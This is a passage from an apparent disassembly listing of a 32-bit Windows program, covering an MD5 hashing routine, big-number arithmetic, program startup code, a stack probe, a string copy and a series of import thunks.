short locret_40BADC dec ebx jnz short loc_40BAD4 locret_40BADC: ; CODE XREF: sub_40BACF+8j retn sub_40BACF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BAE0 proc near ; CODE XREF: sub_40BA60+2Ep ; sub_40BA60+57p lea esi, dword_447B08 mov edi, [ebp+14h] mov ecx, 0Fh loc_40BAEE: ; CODE XREF: sub_40BAE0+19j mov eax, [esi+ecx*4] cmp eax, [edi+ecx*4] jb short locret_40BB17 ja short loc_40BAFB dec ecx jns short loc_40BAEE loc_40BAFB: ; CODE XREF: sub_40BAE0+16j mov esi, [ebp+14h] lea edi, dword_447B08 xor eax, eax mov ecx, 10h loc_40BB0B: ; CODE XREF: sub_40BAE0+35j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BB0B locret_40BB17: ; CODE XREF: sub_40BAE0+14j retn sub_40BAE0 endp ; =============== S U B R O U T I N E ======================================= sub_40BB18 proc near ; CODE XREF: sub_40BB69+32p ; sub_40BB69+50p ... mov eax, ebx and eax, ecx push ebx not ebx and ebx, edx or eax, ebx pop ebx retn sub_40BB18 endp ; =============== S U B R O U T I N E ======================================= sub_40BB25 proc near ; CODE XREF: sub_40BB69+219p ; sub_40BB69+238p ... mov eax, ebx and eax, edx push edx not edx and edx, ecx or eax, edx pop edx retn sub_40BB25 endp ; =============== S U B R O U T I N E ======================================= sub_40BB32 proc near ; CODE XREF: sub_40BB69+420p ; sub_40BB69+43Fp ... mov eax, ebx xor eax, ecx xor eax, edx retn sub_40BB32 endp ; =============== S U B R O U T I N E ======================================= sub_40BB39 proc near ; CODE XREF: sub_40BB69+627p ; sub_40BB69+645p ... mov eax, edx not eax or eax, ebx xor eax, ecx retn sub_40BB39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB42 proc near ; CODE XREF: sub_408884+9Bp arg_0 = dword ptr 8 push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov dword ptr [edi], 67452301h mov dword ptr [edi+4], 0EFCDAB89h mov dword ptr [edi+8], 98BADCFEh mov dword ptr [edi+0Ch], 10325476h popa pop ebp retn 4 sub_40BB42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB69 proc near ; CODE XREF: sub_408884+CCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [edi] mov dword_447B88, eax mov eax, [edi+4] mov dword_447B8C, eax mov eax, [edi+8] mov dword_447B90, eax mov eax, [edi+0Ch] mov dword_447B94, eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB18 add eax, [edi] add eax, [esi] add eax, 0D76AA478h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB18 add eax, [edi+0Ch] add eax, [esi+4] add eax, 0E8C7B756h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB18 add eax, [edi+8] add eax, [esi+8] add eax, 242070DBh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB18 add eax, [edi+4] add eax, [esi+0Ch] add eax, 0C1BDCEEEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB18 add eax, [edi] add eax, [esi+10h] add eax, 0F57C0FAFh rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB18 add eax, [edi+8] add eax, [esi+18h] add eax, 0A8304613h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB18 add eax, [edi+4] add eax, [esi+1Ch] add eax, 0FD469501h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB18 add eax, [edi] add eax, [esi+20h] add eax, 698098D8h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB18 add eax, [edi+0Ch] add eax, [esi+24h] add eax, 8B44F7AFh rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB18 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFFF5BB1h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB18 add eax, [edi+4] add eax, [esi+2Ch] add eax, 895CD7BEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB18 add eax, [edi] add eax, [esi+30h] add eax, 6B901122h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB18 add eax, [edi+0Ch] add eax, [esi+34h] add eax, 0FD987193h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB18 add eax, [edi+8] add eax, [esi+38h] add eax, 0A679438Eh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB18 add eax, [edi+4] add eax, [esi+3Ch] add eax, 49B40821h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB25 add eax, [edi] add eax, [esi+4] add eax, 0F61E2562h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB25 add eax, [edi+0Ch] add eax, [esi+18h] add eax, 0C040B340h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB25 add eax, [edi+8] add eax, [esi+2Ch] add eax, 265E5A51h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB25 add eax, [edi+4] add eax, [esi] add eax, 0E9B6C7AAh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB25 add eax, [edi] add eax, [esi+14h] add eax, 0D62F105Dh rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB25 add eax, [edi+0Ch] add eax, [esi+28h] add eax, 2441453h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB25 add eax, [edi+8] add eax, [esi+3Ch] add eax, 0D8A1E681h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB25 add eax, [edi+4] add eax, [esi+10h] add eax, 0E7D3FBC8h rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB25 add eax, [edi] add eax, [esi+24h] add eax, 21E1CDE6h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB25 add eax, [edi+0Ch] add eax, [esi+38h] add eax, 0C33707D6h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB25 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0F4D50D87h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB25 add eax, [edi+4] add eax, [esi+20h] add eax, 455A14EDh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB25 add eax, [edi] add eax, [esi+34h] add eax, 0A9E3E905h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB25 add eax, [edi+0Ch] add eax, [esi+8] add eax, 0FCEFA3F8h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB25 add eax, [edi+8] add eax, [esi+1Ch] add eax, 676F02D9h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB25 add eax, [edi+4] add eax, [esi+30h] add eax, 8D2A4C8Ah rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB32 add eax, [edi] add eax, [esi+14h] add eax, 0FFFA3942h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB32 add eax, [edi+0Ch] add eax, [esi+20h] add eax, 8771F681h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB32 add eax, [edi+8] add eax, [esi+2Ch] add eax, 6D9D6122h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB32 add eax, [edi+4] add eax, [esi+38h] add eax, 0FDE5380Ch rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB32 add eax, [edi] add eax, [esi+4] add eax, 0A4BEEA44h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB32 add eax, [edi+0Ch] add eax, [esi+10h] add eax, 4BDECFA9h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB32 add eax, [edi+8] add eax, [esi+1Ch] add eax, 0F6BB4B60h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB32 add eax, [edi+4] add eax, [esi+28h] add eax, 0BEBFBC70h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB32 add eax, [edi] add eax, [esi+34h] add eax, 289B7EC6h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB32 add eax, [edi+0Ch] add eax, [esi] add eax, 0EAA127FAh rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB32 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0D4EF3085h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB32 add eax, [edi+4] add eax, [esi+18h] add eax, 4881D05h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB32 add eax, [edi] add eax, [esi+24h] add eax, 0D9D4D039h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB32 add eax, [edi+0Ch] add eax, [esi+30h] add eax, 0E6DB99E5h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB32 add eax, [edi+8] add eax, [esi+3Ch] add eax, 1FA27CF8h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB32 add eax, [edi+4] add eax, [esi+8] add eax, 0C4AC5665h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB39 add eax, [edi] add eax, [esi] add eax, 0F4292244h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB39 add eax, [edi+0Ch] add eax, [esi+1Ch] add eax, 432AFF97h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB39 add eax, [edi+8] add eax, [esi+38h] add eax, 0AB9423A7h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB39 add eax, [edi+4] add eax, [esi+14h] add eax, 0FC93A039h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB39 add eax, [edi] add eax, [esi+30h] add eax, 655B59C3h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB39 add eax, [edi+0Ch] add eax, [esi+0Ch] add eax, 8F0CCC92h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB39 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFEFF47Dh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB39 add eax, [edi+4] add eax, [esi+4] add eax, 85845DD1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB39 add eax, [edi] add eax, [esi+20h] add eax, 6FA87E4Fh rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB39 add eax, [edi+0Ch] add eax, [esi+3Ch] add eax, 0FE2CE6E0h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB39 add eax, [edi+8] add eax, [esi+18h] add eax, 0A3014314h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB39 add eax, [edi+4] add eax, [esi+34h] add eax, 4E0811A1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BB39 add eax, [edi] add eax, [esi+10h] add eax, 0F7537E82h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BB39 add eax, [edi+0Ch] add eax, [esi+2Ch] add eax, 0BD3AF235h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BB39 add eax, [edi+8] add eax, [esi+8] add eax, 2AD7D2BBh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BB39 add eax, [edi+4] add eax, [esi+24h] add eax, 0EB86D391h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov eax, dword_447B88 add [edi], eax mov eax, dword_447B8C add [edi+4], eax mov eax, dword_447B90 add [edi+8], eax mov eax, dword_447B94 add [edi+0Ch], eax popa pop ebp xor eax, eax retn 8 sub_40BB69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3B4 proc near ; CODE XREF: sub_409883+D78p var_1C = dword ptr -1Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 1Ch fnstcw [ebp+var_2] mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [esp+1Ch+var_1C] mov eax, [esp+1Ch+var_1C] fldcw [ebp+var_2] leave retn sub_40C3B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D8 proc near ; CODE XREF: sub_401219+66p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_40C4AC ; GetCommandLineA mov edi, eax cmp byte ptr [edi], 22h jnz short loc_40C40C push 22h mov eax, edi inc eax push eax call sub_40CA04 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_40C427 mov edi, eax inc edi jmp short loc_40C404 ; --------------------------------------------------------------------------- loc_40C403: ; CODE XREF: sub_40C3D8+2Fj inc edi loc_40C404: ; CODE XREF: sub_40C3D8+29j cmp byte ptr [edi], 20h jz short loc_40C403 jmp short loc_40C427 ; --------------------------------------------------------------------------- loc_40C40B: ; CODE XREF: sub_40C3D8+3Ej inc edi loc_40C40C: ; CODE XREF: sub_40C3D8+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_40C418 cmp eax, 20h jnz short loc_40C40B loc_40C418: ; CODE XREF: sub_40C3D8+39j jmp short loc_40C41B ; --------------------------------------------------------------------------- loc_40C41A: ; CODE XREF: sub_40C3D8+4Dj inc edi loc_40C41B: ; CODE XREF: sub_40C3D8:loc_40C418j movsx eax, byte ptr [edi] or eax, eax jz short loc_40C427 cmp eax, 20h jz short loc_40C41A loc_40C427: ; CODE XREF: sub_40C3D8+24j ; sub_40C3D8+31j ... push 0 call sub_40C500 ; GetModuleHandleA push 1 push edi push 0 push eax call sub_40A74E pop edi leave retn sub_40C3D8 endp ; =============== S U B R O U T I N E ======================================= sub_40C43C proc near ; CODE XREF: sub_401320+8p ; sub_402AD6+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_40C43D: ; CODE XREF: sub_40C43C+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_40C43D sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_40C43C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40C45C proc near ; CODE XREF: sub_401B83+E8p ; sub_40538B+37p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_40C45C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C488 proc near ; CODE XREF: sub_404313+43p ; sub_4062A9+473p ... jmp ds:dword_448374 sub_40C488 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C494 proc near ; CODE XREF: sub_40A74E+31Ep jmp ds:dword_448378 sub_40C494 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4A0 proc near ; CODE XREF: sub_4062A9+13Bp ; sub_408C55+C0p jmp ds:dword_44837C sub_40C4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4AC proc near ; CODE XREF: sub_40C3D8+5p jmp ds:dword_448380 sub_40C4AC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4B8 proc near ; CODE XREF: sub_401490+7p ; sub_4015B0+Fp ... jmp ds:dword_448384 sub_40C4B8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4C4 proc near ; CODE XREF: sub_401D0D:loc_401EAFp ; sub_402246+84p ... jmp ds:dword_448388 sub_40C4C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4D0 proc near ; CODE XREF: sub_401A43+62p ; sub_409883+694p jmp ds:dword_44838C sub_40C4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4DC proc near ; CODE XREF: sub_408472+D4p jmp ds:dword_448390 sub_40C4DC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4E8 proc near ; CODE XREF: sub_401320:loc_4013D3p ; sub_401490+Cp ... jmp ds:dword_448394 sub_40C4E8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4F4 proc near ; CODE XREF: sub_403B8E+126p ; sub_4041B6+57p ... jmp ds:dword_448398 sub_40C4F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C500 proc near ; CODE XREF: sub_402246+16p ; sub_40256D+10Dp ... jmp ds:dword_44839C sub_40C500 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C50C proc near ; CODE XREF: sub_402246+23p ; sub_402246+3Bp ... jmp ds:dword_4483A0 sub_40C50C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C518 proc near ; CODE XREF: sub_4015B0+5Bp ; sub_4017D2:loc_401836p ... jmp ds:dword_4483A4 sub_40C518 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C524 proc near ; CODE XREF: sub_403A7B+58p ; sub_4041B6+A4p ... jmp ds:dword_4483A8 sub_40C524 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C530 proc near ; CODE XREF: sub_401320+7Ap ; sub_401A43+A2p ... jmp ds:dword_4483AC sub_40C530 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C53C proc near ; CODE XREF: sub_405636+10Fp jmp ds:dword_4483B0 sub_40C53C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C548 proc near ; CODE XREF: sub_401320+10p ; sub_401320+28p ... jmp ds:dword_4483B4 sub_40C548 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C554 proc near ; CODE XREF: sub_401320+7Fp ; sub_401D0D+2B1p ... jmp ds:dword_4483B8 sub_40C554 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C560 proc near ; CODE XREF: sub_4041B6+77p ; sub_40A74E+DBp jmp ds:dword_4483BC sub_40C560 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C56C proc near ; CODE XREF: sub_403A7B+B3p jmp ds:dword_4483C0 sub_40C56C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C578 proc near ; CODE XREF: sub_4041B6+120p ; sub_409883+ABEp ... jmp ds:dword_4483C4 sub_40C578 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C584 proc near ; CODE XREF: sub_4034C6+8Dp ; sub_403780+4Ep ... jmp ds:dword_4483C8 sub_40C584 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C590 proc near ; CODE XREF: sub_40355C+92p ; .text:004039D6p jmp ds:dword_4483CC sub_40C590 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C59C proc near ; CODE XREF: sub_40355C+68p ; .text:00403999p jmp ds:dword_4483D0 sub_40C59C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5A8 proc near ; CODE XREF: sub_402AD6+21Cp jmp ds:dword_4483D4 sub_40C5A8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5B4 proc near ; CODE XREF: sub_4062A9+45p jmp ds:dword_4483D8 sub_40C5B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5C0 proc near ; CODE XREF: sub_402AD6+1E8p jmp ds:dword_4483DC sub_40C5C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5CC proc near ; CODE XREF: sub_402AD6+5B6p jmp ds:dword_4483E0 sub_40C5CC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5D8 proc near ; CODE XREF: sub_401A43+9Cp ; sub_401B83+EDp ... jmp ds:dword_4483E4 sub_40C5D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5E4 proc near ; CODE XREF: sub_402AD6+C6p jmp ds:dword_4483E8 sub_40C5E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5F0 proc near ; CODE XREF: sub_4062A9+439p ; sub_40A74E+2C1p jmp ds:dword_4483EC sub_40C5F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5FC proc near ; CODE XREF: sub_401A43+6Fp ; sub_4051C3+48p ... jmp ds:dword_4483F0 sub_40C5FC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C608 proc near ; CODE XREF: sub_4051C3+81p ; sub_405636+76p ... jmp ds:dword_4483F4 sub_40C608 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C614 proc near ; CODE XREF: sub_40A6EA+30p jmp ds:dword_4483F8 sub_40C614 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C620 proc near ; CODE XREF: sub_4051C3+1Ap jmp ds:dword_4483FC sub_40C620 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C62C proc near ; CODE XREF: sub_401320+72p ; sub_401A43+97p jmp ds:dword_448400 sub_40C62C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C638 proc near ; CODE XREF: sub_40107A+13p jmp ds:dword_448404 sub_40C638 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C644 proc near ; CODE XREF: sub_402AD6+4A4p ; sub_408884+74p jmp ds:dword_448408 sub_40C644 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C650 proc near ; CODE XREF: sub_401320+41p ; sub_401A43+22p ... jmp ds:dword_44840C sub_40C650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C65C proc near ; CODE XREF: sub_4052F4+57p ; sub_40815F+1E4p ... jmp ds:dword_448410 sub_40C65C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C668 proc near ; CODE XREF: sub_408472+F1p jmp ds:dword_448414 sub_40C668 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C674 proc near ; CODE XREF: sub_4062A9+369p ; sub_4062A9+396p jmp ds:dword_448418 sub_40C674 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C680 proc near ; CODE XREF: sub_4062A9+56Bp ; sub_408C55+1E3p jmp ds:dword_44841C sub_40C680 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C68C proc near ; CODE XREF: sub_40876A+21p jmp ds:dword_448420 sub_40C68C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C698 proc near ; CODE XREF: sub_408792+1Ap jmp ds:dword_448424 sub_40C698 endp ; 